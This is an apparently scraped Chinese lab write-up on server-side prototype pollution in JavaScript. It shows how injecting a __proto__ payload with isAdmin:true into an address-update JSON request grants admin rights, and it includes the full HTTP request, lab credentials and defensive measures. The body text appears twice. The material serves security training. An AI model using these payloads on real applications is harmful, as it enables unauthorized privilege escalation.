通过服务器端原型污染提升权限-污染属性反射
字数 1279 2025-08-10 13:48:22

服务器端原型污染权限提升漏洞分析与利用

1. 漏洞概述

服务器端原型污染(Server-Side Prototype Pollution)是一种JavaScript特有的安全漏洞,当应用程序不安全地将用户可控输入合并到服务器端JavaScript对象中时,攻击者可以通过污染全局Object.prototype来影响应用程序行为,可能导致权限提升等严重后果。

2. 漏洞原理

2.1 JavaScript原型继承机制

JavaScript使用原型继承模型,每个对象都有一个原型对象,当访问对象属性时,如果对象本身没有该属性,JavaScript会沿着原型链向上查找。

2.2 原型污染的产生

当应用程序将用户输入不经过滤地合并到现有对象中时,如果攻击者通过特殊属性名(如__proto__)注入恶意属性,这些属性会被添加到Object.prototype中,从而影响所有继承自Object的对象。

3. 漏洞检测方法

3.1 识别潜在攻击点

  • 应用程序使用POST或PUT方法接收JSON数据
  • 服务器响应中包含提交的属性
  • 存在用户可控输入被合并到服务器端对象的场景

3.2 测试方法

  1. 构造包含__proto__属性的JSON请求:
{
  "address_line_1": "Wiener HQ",
  "__proto__": {
    "foo": "bar"
  }
}
  1. 检查响应中是否包含注入的属性,如果包含则存在漏洞

4. 漏洞利用步骤

4.1 信息收集

  1. 登录应用程序(使用提供的凭证wiener:peter)
  2. 分析功能点,特别是接收JSON输入并返回完整对象的端点
  3. 识别响应中的敏感字段(如isAdmin)

4.2 漏洞验证

发送测试请求验证原型污染:

{
  "address_line_1": "Wiener HQ",
  "__proto__": {
    "testProperty": "testValue"
  }
}

观察响应是否包含testProperty字段

4.3 权限提升

  1. 识别可用于权限提升的属性(如isAdmin)
  2. 构造恶意请求污染原型:
{
  "address_line_1": "Wiener HQ",
  "__proto__": {
    "isAdmin": true
  }
}
  1. 检查响应中isAdmin值是否变为true
  2. 访问管理员功能(如Admin panel)
  3. 执行特权操作(如删除用户)

5. 防御措施

5.1 输入验证

  • 对用户输入进行严格验证
  • 过滤特殊属性名(如__proto__constructorprototype)

5.2 安全合并对象

  • 使用Object.create(null)创建无原型的对象
  • 使用Map代替普通对象存储键值对
  • 使用安全的对象合并函数,避免递归合并

5.3 其他措施

  • 冻结Object.prototype: Object.freeze(Object.prototype)
  • 使用Schema验证输入数据结构
  • 实施最小权限原则,避免过度授权

6. 实际案例分析

6.1 案例重现

  1. 登录购物网站(wiener:peter)
  2. 访问地址修改功能
  3. 发现响应中包含isAdmin字段
  4. 通过原型污染将isAdmin设为true
  5. 获得管理员权限并删除目标用户

6.2 关键请求示例

恶意请求:

POST /my-account/change-address HTTP/1.1
Content-Type: application/json

{
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "sessionId": "13fCt30FePQKqB6vxfWNG0Rk9CJt9F7L",
  "__proto__": {
    "isAdmin": true
  }
}

成功响应:

{
  "username": "wiener",
  "firstname": "Peter",
  "lastname": "Wiener",
  "address_line_1": "Wiener HQ",
  "address_line_2": "One Wiener Way",
  "city": "Wienerville",
  "postcode": "BU1 1RP",
  "country": "UK",
  "isAdmin": true
}

7. 总结

服务器端原型污染是一种危险的漏洞,可以导致权限提升、数据泄露等严重后果。开发人员应了解JavaScript原型继承机制的风险,实施适当的防御措施。安全测试人员应掌握检测和利用此类漏洞的方法,以帮助提高应用程序安全性。

服务器端原型污染权限提升漏洞分析与利用 1. 漏洞概述 服务器端原型污染(Server-Side Prototype Pollution)是一种JavaScript特有的安全漏洞,当应用程序不安全地将用户可控输入合并到服务器端JavaScript对象中时,攻击者可以通过污染全局Object.prototype来影响应用程序行为,可能导致权限提升等严重后果。 2. 漏洞原理 2.1 JavaScript原型继承机制 JavaScript使用原型继承模型,每个对象都有一个原型对象,当访问对象属性时,如果对象本身没有该属性,JavaScript会沿着原型链向上查找。 2.2 原型污染的产生 当应用程序将用户输入不经过滤地合并到现有对象中时,如果攻击者通过特殊属性名(如 __proto__ )注入恶意属性,这些属性会被添加到Object.prototype中,从而影响所有继承自Object的对象。 3. 漏洞检测方法 3.1 识别潜在攻击点 应用程序使用POST或PUT方法接收JSON数据 服务器响应中包含提交的属性 存在用户可控输入被合并到服务器端对象的场景 3.2 测试方法 构造包含 __proto__ 属性的JSON请求: 检查响应中是否包含注入的属性,如果包含则存在漏洞 4. 漏洞利用步骤 4.1 信息收集 登录应用程序(使用提供的凭证wiener:peter) 分析功能点,特别是接收JSON输入并返回完整对象的端点 识别响应中的敏感字段(如isAdmin) 4.2 漏洞验证 发送测试请求验证原型污染: 观察响应是否包含 testProperty 字段 4.3 权限提升 识别可用于权限提升的属性(如isAdmin) 构造恶意请求污染原型: 检查响应中isAdmin值是否变为true 访问管理员功能(如Admin panel) 执行特权操作(如删除用户) 5. 防御措施 5.1 输入验证 对用户输入进行严格验证 过滤特殊属性名(如 __proto__ 、 constructor 、 prototype ) 5.2 安全合并对象 使用Object.create(null)创建无原型的对象 使用Map代替普通对象存储键值对 使用安全的对象合并函数,避免递归合并 5.3 其他措施 冻结Object.prototype: Object.freeze(Object.prototype) 使用Schema验证输入数据结构 实施最小权限原则,避免过度授权 6. 实际案例分析 6.1 案例重现 登录购物网站(wiener:peter) 访问地址修改功能 发现响应中包含isAdmin字段 通过原型污染将isAdmin设为true 获得管理员权限并删除目标用户 6.2 关键请求示例 恶意请求: 成功响应: 7. 总结 服务器端原型污染是一种危险的漏洞,可以导致权限提升、数据泄露等严重后果。开发人员应了解JavaScript原型继承机制的风险,实施适当的防御措施。安全测试人员应掌握检测和利用此类漏洞的方法,以帮助提高应用程序安全性。